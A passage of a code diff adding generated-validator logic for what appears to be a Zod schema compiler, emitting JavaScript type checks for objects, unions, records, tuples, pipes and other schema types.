accessor); + break; + case "boolean": + typeAccessor = generateBooleanCheck(doc, accessor); + break; + case "bigint": + typeAccessor = generateBigIntCheck(doc, schema, accessor); + break; + case "symbol": + typeAccessor = generateSymbolCheck(doc, accessor); + break; + case "undefined": + typeAccessor = generateUndefinedCheck(doc, accessor); + break; + case "null": + typeAccessor = generateNullCheck(doc, accessor); + break; + case "any": + case "unknown": + typeAccessor = accessor; + break; + case "never": + doc.write("return INVALID;"); + typeAccessor = accessor; + break; + case "void": + typeAccessor = generateVoidCheck(doc, accessor); + break; + case "nan": + typeAccessor = generateNaNCheck(doc, accessor); + break; + case "date": + typeAccessor = generateDateCheck(doc, accessor); + break; + case "object": + typeAccessor = generateObjectCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "optional": + typeAccessor = generateOptionalCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "nullable": + typeAccessor = generateNullableCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "array": + typeAccessor = generateArrayCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "literal": + typeAccessor = generateLiteralCheck(doc, ctx, schema, accessor); + break; + case "enum": + typeAccessor = generateEnumCheck(doc, ctx, schema, accessor); + break; + case "readonly": { + const innerOut = generateWrapperCheck(doc, ctx, schema, accessor); + const frozenVar = newVar(ctx); + doc.write(`const ${frozenVar} = Object.freeze(${innerOut});`); + typeAccessor = frozenVar; + break; + } + case "success": + generateWrapperCheck(doc, ctx, schema, accessor); + typeAccessor = "true"; + break; + case "default": + case "prefault": + typeAccessor = generateDefaultCheck(doc, ctx, schema, accessor); + break; + case "nonoptional": + typeAccessor = generateNonOptionalCheck(doc, ctx, schema, accessor); + break; + case "tuple": + typeAccessor = generateTupleCheck(doc, ctx, schema, accessor); + break; + case "union": + typeAccessor = generateUnionCheck(doc, ctx, schema, accessor); + break; + case "intersection": + typeAccessor = generateIntersectionCheck(doc, ctx, schema, accessor); + break; + case "record": + typeAccessor = generateRecordCheck(doc, ctx, schema, accessor); + break; + case "map": + typeAccessor = generateMapCheck(doc, ctx, schema, accessor); + break; + case "set": + typeAccessor = generateSetCheck(doc, ctx, schema, accessor); + break; + case "file": + typeAccessor = generateFileCheck(doc, accessor); + break; + case "template_literal": + typeAccessor = generateTemplateLiteralCheck(doc, ctx, schema, accessor); + break; + case "lazy": + typeAccessor = generateLazyCheck(doc, ctx, schema, accessor); + break; + case "pipe": + typeAccessor = generatePipeCheck(doc, ctx, schema, accessor); + break; + case "custom": + typeAccessor = generateCustomCheck(doc, ctx, schema, accessor); + break; + case "transform": + typeAccessor = generateTransformCheck(doc, ctx, schema, accessor); + break; + case "catch": + typeAccessor = generateCatchCheck(doc, ctx, schema, accessor); + break; + default: { + throw new ZodCompileUnsupportedError(`schema type ${type}`); + } + } + if (typeAccessor === null) + return null; + return generateChecks(doc, ctx, schema, typeAccessor); +} +function generateStringCheck(doc, ctx, schema, accessor, needsValue = true) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const def = schema._zod.def; + if (def.format === void 0) + return accessor; + return generateStringFormatCheck(doc, ctx, def, accessor, needsValue); +} +function generateNumberCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isFinite(${accessor})) return INVALID;`); + const def = schema._zod.def; + if (def.check === "number_format" && def.format) { + generateNumberFormatCheck(doc, { format: def.format }, accessor); + } + return accessor; +} +function generateBooleanCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "boolean") return INVALID;`); + return accessor; +} +function generateBigIntCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "bigint") return INVALID;`); + const def = schema._zod.def; + if (def.format) { + switch (def.format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + } + } + return accessor; +} +function generateSymbolCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "symbol") return INVALID;`); + return accessor; +} +function generateUndefinedCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNullCheck(doc, accessor) { + doc.write(`if (${accessor} !== null) return INVALID;`); + return accessor; +} +function generateVoidCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNaNCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isNaN(${accessor})) return INVALID;`); + return accessor; +} +function generateDateCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof Date) || Number.isNaN(${accessor}.getTime())) return INVALID;`); + return accessor; +} +function generateObjectCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (typeof ${accessor} !== "object" || ${accessor} === null || Array.isArray(${accessor})) return INVALID;`); + const shape = def.shape; + const keys = Object.keys(shape); + const symbolKeys = Object.getOwnPropertySymbols(shape); + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + const keyExpr = (k) => typeof k === "symbol" ? addConstant(ctx, k) : esc(k); + const propKey = (k) => typeof k === "symbol" ? `[${keyExpr(k)}]` : esc(k); + const propShape = shape; + if (keys.includes("__proto__")) { + throw new ZodCompileUnsupportedError('object shape key "__proto__"'); + } + const propOutputs = /* @__PURE__ */ new Map(); + for (const key of allKeys) { + const propSchema = propShape[key]; + const kx = keyExpr(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${kx}];`); + if (propSchema._zod.optin !== void 0) { + const outputVar2 = newVar(ctx); + doc.write(`let ${outputVar2} = (() => {`); + doc.indented((d) => { + const outputAccessor = compileChild(d, ctx, propSchema, inputVar); + d.write(`return ${outputAccessor};`); + }); + doc.write(`})();`); + if (propSchema._zod.optout === "optional") { + doc.write(`if (${outputVar2} === INVALID) {`); + doc.indented((d) => { + d.write(`if (${kx} in ${accessor}) return INVALID;`); + d.write(`${outputVar2} = undefined;`); + }); + doc.write(`}`); + } else { + doc.write(`if (${outputVar2} === INVALID) return INVALID;`); + } + propOutputs.set(key, outputVar2); + } else { + if (requiresPresenceCheck(propSchema)) { + doc.write(`if (!(${kx} in ${accessor})) return INVALID;`); + } + const outputAccessor = compileChild(doc, ctx, propSchema, inputVar, buildsValue); + if (outputAccessor !== null) + propOutputs.set(key, outputAccessor); + } + } + const catchall = def.catchall; + let unknownKeysMode = "none"; + if (catchall) { + const catchallType = catchall._zod.def.type; + if (catchallType === "never") { + const condition = keys.map((k) => `k !== ${esc(k)}`).join(" && ") || "true"; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${condition}) return INVALID;`); + }); + doc.write(`}`); + } else if ((catchallType === "unknown" || catchallType === "any") && !catchall._zod.def.checks?.length) { + unknownKeysMode = "passthrough"; + } else { + unknownKeysMode = "schema"; + } + } + const outputVar = newVar(ctx); + const hasConditionalKeys = allKeys.some((k) => mayOmitUndefined(propShape[k]) || dropsWhenAbsent(propShape[k])); + if (!buildsValue) { + if (unknownKeysMode === "schema") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + compileChild(d, ctx, catchall, valVar, false); + }); + doc.write(`}`); + } + return null; + } + if (!hasConditionalKeys) { + const propLiterals = allKeys.map((k) => `${propKey(k)}: ${propOutputs.get(k)}`).join(", "); + doc.write(`const ${outputVar} = { ${propLiterals} };`); + } else { + doc.write(`const ${outputVar} = {};`); + for (const k of allKeys) { + const kx = keyExpr(k); + const out = propOutputs.get(k); + if (dropsWhenAbsent(propShape[k])) { + doc.write(`if (${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else if (mayOmitUndefined(propShape[k])) { + doc.write(`if (${out} !== undefined || ${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else { + doc.write(`${outputVar}[${kx}] = ${out};`); + } + } + } + if (unknownKeysMode !== "none") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + if (unknownKeysMode === "passthrough") { + d.write(`${outputVar}[k] = ${accessor}[k];`); + } else { + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + const catchallOut = compileChild(d, ctx, catchall, valVar); + d.write(`${outputVar}[k] = ${catchallOut};`); + } + }); + doc.write(`}`); + } + return outputVar; +} +function generateOptionalCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + if (isExactOptional(schema)) { + return generateCheck(doc, ctx, def.innerType, accessor, buildsValue); + } + if (def.innerType._zod.optin === "defaulted") { + const outputVar2 = newVar(ctx); + const branchVar = newVar(ctx); + doc.write(`let ${outputVar2};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`const ${branchVar} = (() => {`); + d.indented((d2) => { + const innerOutput = generateCheck(d2, ctx, def.innerType, accessor); + d2.write(`return ${innerOutput};`); + }); + d.write(`})();`); + d.write(`if (${branchVar} !== INVALID) ${outputVar2} = ${branchVar};`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar2} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar2; + } + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function isExactOptional(schema) { + return schema._zod.traits?.has("$ZodExactOptional") === true; +} +function requiresPresenceCheck(schema) { + return schema._zod.optin === void 0 && fastPathAcceptsAbsence(schema); +} +function fastPathAcceptsAbsence(schema) { + if (schema._zod.def.coerce) + return true; + const def = schema._zod.def; + switch (def.type) { + case "any": + case "unknown": + case "undefined": + case "void": + case "default": + case "prefault": + case "transform": + case "custom": + case "lazy": + return true; + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "never": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + return false; + case "nonoptional": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + case "nullable": + case "readonly": + case "success": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : true; + case "catch": + return true; + case "union": + return def.options ? def.options.some(fastPathAcceptsAbsence) : true; + case "intersection": + if (!def.left || !def.right) + return true; + return fastPathAcceptsAbsence(def.left) && fastPathAcceptsAbsence(def.right); + case "pipe": + return def.in ? fastPathAcceptsAbsence(def.in) : true; + default: + return true; + } +} +function dropsWhenAbsent(schema) { + return schema._zod.optin === "optional" && schema._zod.optout === "optional"; +} +function mayOmitUndefined(schema) { + return (schema._zod.optin !== "defaulted" || schema._zod.optout === "optional") && mayOutputUndefined(schema); +} +function mayOutputUndefined(schema) { + const def = schema._zod.def; + switch (def.type) { + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + case "never": + case "success": + return false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + return true; + case "nullable": + case "readonly": + case "nonoptional": + return def.innerType ? mayOutputUndefined(def.innerType) : true; + case "union": + return def.options ? def.options.some(mayOutputUndefined) : true; + case "intersection": + return !def.left || !def.right || mayOutputUndefined(def.left) || mayOutputUndefined(def.right); + case "pipe": + return def.out ? mayOutputUndefined(def.out) : true; + default: + return true; + } +} +function generateNullableCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar} = null;`); + doc.write(`if (${accessor} !== null) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateSizeGate(doc, schema, size2) { + for (const [max, check3] of sizeCaps(schema._zod.def.checks)) { + doc.write(`if (${size2} > ${numericOperand(max, check3._zod.def.check)}) return INVALID;`); + } +} +function generateArrayCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.length`); + const outputVar = buildsValue ? newVar(ctx) : null; + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + if (outputVar) + doc.write(`const ${outputVar} = new Array(${accessor}.length);`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, def.element, elemVar, buildsValue); + if (outputVar && elemOutput !== null) + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateLiteralCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const values2 = def.values; + if (values2.length !== 1) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + const value = values2[0]; + if (typeof value === "number" && Number.isNaN(value)) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + if (typeof value === "string") { + doc.write(`if (${accessor} !== ${esc(value)}) return INVALID;`); + } else if (typeof value === "number" || typeof value === "boolean") { + doc.write(`if (${accessor} !== ${value}) return INVALID;`); + } else if (value === null) { + doc.write(`if (${accessor} !== null) return INVALID;`); + } else if (value === void 0) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + } else if (typeof value === "bigint") { + doc.write(`if (${accessor} !== ${value}n) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError(`literal type ${typeof value}`); + } + return accessor; +} +function generateEnumCheck(doc, ctx, schema, accessor) { + const values2 = schema._zod.values; + if (!values2) { + throw new ZodCompileUnsupportedError("enum schema without enumerated values"); + } + const enumSet = addConstant(ctx, values2); + doc.write(`if (!${enumSet}.has(${accessor})) return INVALID;`); + return accessor; +} +function generateWrapperCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + return generateCheck(doc, ctx, def.innerType, accessor); +} +function generateDefaultCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const descriptor = Object.getOwnPropertyDescriptor(schema._zod.def, "defaultValue"); + const defaultGetter = descriptor ? () => schema._zod.def.defaultValue : void 0; + if (schema._zod.def.type === "prefault") { + if (!defaultGetter) { + return generateCheck(doc, ctx, def.innerType, accessor); + } + const defaultFn = addConstant(ctx, defaultGetter); + const inputVar = newVar(ctx); + doc.write(`let ${inputVar} = ${accessor};`); + doc.write(`if (${accessor} === undefined) ${inputVar} = ${defaultFn}();`); + return generateCheck(doc, ctx, def.innerType, inputVar); + } + const outputVar = newVar(ctx); + if (defaultGetter) { + const defaultFn = addConstant(ctx, defaultGetter); + const cloneFn = addConstant(ctx, shallowClone); + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${cloneFn}(${defaultFn}());`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput} === undefined ? ${cloneFn}(${defaultFn}()) : ${innerOutput};`); + }); + doc.write(`}`); + } else { + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function generateNonOptionalCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const innerOutput = generateCheck(doc, ctx, def.innerType, accessor); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${innerOutput};`); + doc.write(`if (${outputVar} === undefined) return INVALID;`); + return outputVar; +} +function generateTupleCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const items = def.items; + const rest = def.rest; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + const optinStart = getTupleOptStart2(items, "optin"); + const optoutStart = getTupleOptStart2(items, "optout"); + if (rest) { + doc.write(`if (${accessor}.length < ${optinStart}) return INVALID;`); + } else { + doc.write(`if (${accessor}.length < ${optinStart} || ${accessor}.length > ${items.length}) return INVALID;`); + } + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = [];`); + for (let i = 0; i < items.length; i++) { + const itemSchema = items[i]; + if (i >= optoutStart) { + doc.write(`if (${outputVar}.length === ${i}) {`); + doc.indented((d) => { + d.write(`if (${i} < ${accessor}.length) {`); + d.indented((d2) => { + const elemVar = newVar(ctx); + d2.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(d2, ctx, itemSchema, elemVar); + d2.write(`${outputVar}[${i}] = ${elemOutput};`); + }); + d.write(`} else {`); + d.indented((d2) => { + if (dropsWhenAbsent(itemSchema)) { + d2.write(`${outputVar}.length = ${i};`); + return; + } + const elemVar = newVar(ctx); + const branchVar = newVar(ctx); + d2.write(`const ${elemVar} = undefined;`); + d2.write(`const ${branchVar} = (() => {`); + d2.indented((d3) => { + const elemOutput = compileChild(d3, ctx, itemSchema, elemVar); + d3.write(`return ${elemOutput};`); + }); + d2.write(`})();`); + d2.write(`if (${branchVar} === INVALID || ${branchVar} === undefined) ${outputVar}.length = ${i};`); + d2.write(`else ${outputVar}[${i}] = ${branchVar};`); + }); + d.write(`}`); + }); + doc.write(`}`); + } else { + const elemVar = newVar(ctx); + doc.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(doc, ctx, itemSchema, elemVar); + doc.write(`${outputVar}[${i}] = ${elemOutput};`); + } + } + if (rest) { + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + doc.write(`for (let ${iVar} = ${items.length}; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, rest, elemVar); + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function getTupleOptStart2(items, key) { + for (let i = items.length - 1; i >= 0; i--) { + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) + return i + 1; + } + return 0; +} +function generateUnionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const options = def.options; + if (def.discriminator) { + return generateDiscriminatedUnionCheck(doc, ctx, def, accessor); + } + if (def.inclusive === false) { + throw new ZodCompileUnsupportedError("exclusive unions (z.xor)"); + } + if (options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + if (options.length === 1) { + return generateCheck(doc, ctx, options[0], accessor); + } + const allLiterals = options.every((opt) => opt._zod.def.type === "literal" && !opt._zod.def.checks?.length); + if (allLiterals) { + const values2 = new Set(options.flatMap((opt) => opt._zod.def.values)); + const valuesConst = addConstant(ctx, values2); + doc.write(`if (!${valuesConst}.has(${accessor})) return INVALID;`); + return accessor; + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar};`); + for (let i = 0; i < options.length; i++) { + const opt = options[i]; + if (i === 0) { + doc.write(`${outputVar} = (() => {`); + } else { + doc.write(`if (${outputVar} === INVALID) ${outputVar} = (() => {`); + } + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, opt, accessor); + d.write(`return ${branchOutput};`); + }); + doc.write(`})();`); + } + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generateDiscriminatedUnionCheck(doc, ctx, def, accessor) { + if (def.unionFallback) { + throw new ZodCompileUnsupportedError("discriminated union with unionFallback"); + } + if (def.options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + const discVar = newVar(ctx); + const outputVar = newVar(ctx); + doc.write(`const ${discVar} = ${accessor}?.[${esc(def.discriminator)}];`); + doc.write(`let ${outputVar};`); + let firstBranch = true; + const claimed = /* @__PURE__ */ new Set(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) { + throw new ZodCompileUnsupportedError("discriminated union option without static discriminator values"); + } + for (const value of values2) { + if (claimed.has(value)) { + throw new ZodCompileUnsupportedError(`duplicate discriminator value ${String(value)}`); + } + claimed.add(value); + } + const conditions = Array.from(values2, (value) => literalEquality(ctx, discVar, value)); + const prefix = firstBranch ? "if" : "else if"; + doc.write(`${prefix} (${conditions.join(" || ")}) {`); + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, option, accessor); + d.write(`${outputVar} = ${branchOutput};`); + }); + doc.write(`}`); + firstBranch = false; + } + doc.write(`else { return INVALID; }`); + return outputVar; +} +function literalEquality(ctx, accessor, value) { + if (typeof value === "string") + return `${accessor} === ${esc(value)}`; + if (typeof value === "number") { + if (Number.isNaN(value)) + return `Number.isNaN(${accessor})`; + return `${accessor} === ${value}`; + } + if (typeof value === "boolean") + return `${accessor} === ${value}`; + if (value === null) + return `${accessor} === null`; + if (value === void 0) + return `${accessor} === undefined`; + if (typeof value === "bigint") + return `${accessor} === ${value}n`; + if (typeof value === "symbol") { + const symbolConst = addConstant(ctx, value); + return `${accessor} === ${symbolConst}`; + } + throw new ZodCompileUnsupportedError(`literal discriminator value ${String(value)}`); +} +function generateIntersectionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + ctx.definite = false; + const leftOutput = compileChild(doc, ctx, def.left, accessor); + const rightOutput = compileChild(doc, ctx, def.right, accessor); + const mergeConst = addConstant(ctx, mergeValues); + const mergedVar = newVar(ctx); + doc.write(`const ${mergedVar} = ${mergeConst}(${leftOutput}, ${rightOutput});`); + doc.write(`if (!${mergedVar}.valid) return INVALID;`); + return `${mergedVar}.data`; +} +function generateRecordCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const isPlainObjectConst = addConstant(ctx, isPlainObject); + doc.write(`if (!${isPlainObjectConst}(${accessor})) return INVALID;`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = {};`); + const recordDef = def; + const keyValues = recordDef.partial ? void 0 : def.keyType._zod.values; + if (keyValues) { + const inputKeys = []; + for (const key of keyValues) { + if (!(typeof key === "string" || typeof key === "number" || typeof key === "symbol")) { + throw new ZodCompileUnsupportedError(`record key value ${String(key)}`); + } + const inputKey = typeof key === "number" ? key.toString() : key; + if (inputKey === "__proto__") { + throw new ZodCompileUnsupportedError('record key "__proto__"'); + } + inputKeys.push(inputKey); + const keyConst = addConstant(ctx, key); + const outKey = generateCheck(doc, ctx, def.keyType, keyConst); + const valueVar = newVar(ctx); + doc.write(`const ${valueVar} = ${accessor}[${literalPropertyKey(ctx, inputKey)}];`); + const valOutput = compileChild(doc, ctx, def.valueType, valueVar); + doc.write(`${outputVar}[${outKey}] = ${valOutput};`); + } + const knownKeysConst = addConstant(ctx, new Set(inputKeys)); + doc.write(`for (const ${kVar} in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${knownKeysConst}.has(${kVar})) continue;`); + if (recordDef.mode === "loose") { + d.write(`if (${kVar} !== "__proto__") ${outputVar}[${kVar}] = ${accessor}[${kVar}];`); + } else { + d.write(`return INVALID;`); + } + }); + doc.write(`}`); + return outputVar; + } + const keyDef = def.keyType._zod.def; + const keyIsBareString = keyDef.type === "string" && keyDef.format === void 0 && !keyDef.coerce && (keyDef.checks?.length ?? 0) === 0; + if (!keyIsBareString) { + const isLoose = def.mode === "loose"; + const keyFn = compileFn(def.keyType); + if (keyFn.definite === false) + ctx.definite = false; + const keyFast = addConstant(ctx, keyFn); + const numericConst = addConstant(ctx, number); + const outKeyVar = newVar(ctx); + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`let ${outKeyVar} = ${keyFast}(${kVar});`); + d.write(`if (${outKeyVar} === INVALID && typeof ${kVar} === "string" && ${numericConst}.test(${kVar})) ${outKeyVar} = ${keyFast}(Number(${kVar}));`); + if (isLoose) { + d.write(`if (${outKeyVar} === INVALID) { ${outputVar}[${kVar}] = ${accessor}[${kVar}]; continue; }`); + } else { + d.write(`if (${outKeyVar} === INVALID) return INVALID;`); + } + d.write(`if (${outKeyVar} === "__proto__") continue;`); + const valueVar = newVar(ctx); + d.write(`const ${valueVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valueVar); + d.write(`${outputVar}[${outKeyVar}] = ${valOutput};`); + }); + return outputVar; + } + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`const ${valVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valVar); + d.write(`${outputVar}[${kVar}] = ${valOutput};`); + }, `return INVALID;`); + return outputVar; +} +function emitOwnKeys(doc, ctx, accessor, kVar, body, onSymbol) { + const propIsEnumerableConst = addConstant(ctx, Object.prototype.propertyIsEnumerable); + const symsVar = newVar(ctx); + const keysVar = newVar(ctx); + const iVar = newVar(ctx); + doc.write(`const ${symsVar} = Object.getOwnPropertySymbols(${accessor});`); + doc.write(`const ${keysVar} = Object.getOwnPropertyNames(${accessor});`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${keysVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${keysVar}[${iVar}];`); + d.write(`if (${kVar} === "__proto__" || !${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + body(d); + }); + doc.write(`}`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${symsVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${symsVar}[${iVar}];`); + d.write(`if (!${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + if (onSymbol) + d.write(onSymbol); + else + body(d); + }); + doc.write(`}`); +} +function literalPropertyKey(ctx, key) { + if (typeof key === "string") + return esc(key); + return addConstant(ctx, key); +} +function generateMapCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Map)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Map();`); + doc.write(`for (const [${kVar}, ${valVar}] of ${accessor}) {`); + doc.indented((d) => { + const keyOutput = generateCheck(d, ctx, def.keyType, kVar); + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.set(${keyOutput}, ${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateSetCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Set)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Set();`); + doc.write(`for (const ${valVar} of ${accessor}) {`); + doc.indented((d) => { + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.add(${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateFileCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof File)) return INVALID;`); + return accessor; +} +function generateTemplateLiteralCheck(doc, ctx, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const pattern = schema._zod.pattern; + if (pattern) { + const patternConst = addConstant(ctx, pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + } + return accessor; +} +function generateLazyCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const getterConst = addUserConstant(ctx, def.getter); + const cacheConst = addConstant(ctx, { parser: null }); + doc.write(`if (!${cacheConst}.parser) {`); + doc.indented((d) => { + d.write(`const inner = ${getterConst}();`); + d.write(`${cacheConst}.parser = function(input) {`); + d.indented((d2) => { + d2.write(`const result = inner._zod.run({ value: input, issues: [] }, {});`); + d2.write(`return result.issues.length === 0 ? result.value : INVALID;`); + }); + d.write(`};`); + }); + doc.write(`}`); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${cacheConst}.parser(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generatePipeCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const inputOutput = generateCheck(doc, ctx, def.in, accessor); + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms in pipes are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const transformedVar = newVar(ctx); + doc.write(`const ${transformedVar} = ${helperConst}(${inputOutput});`); + doc.write(`if (${transformedVar} === INVALID) return INVALID;`); + return generateCheck(doc, ctx, def.out, transformedVar); + } else { + return 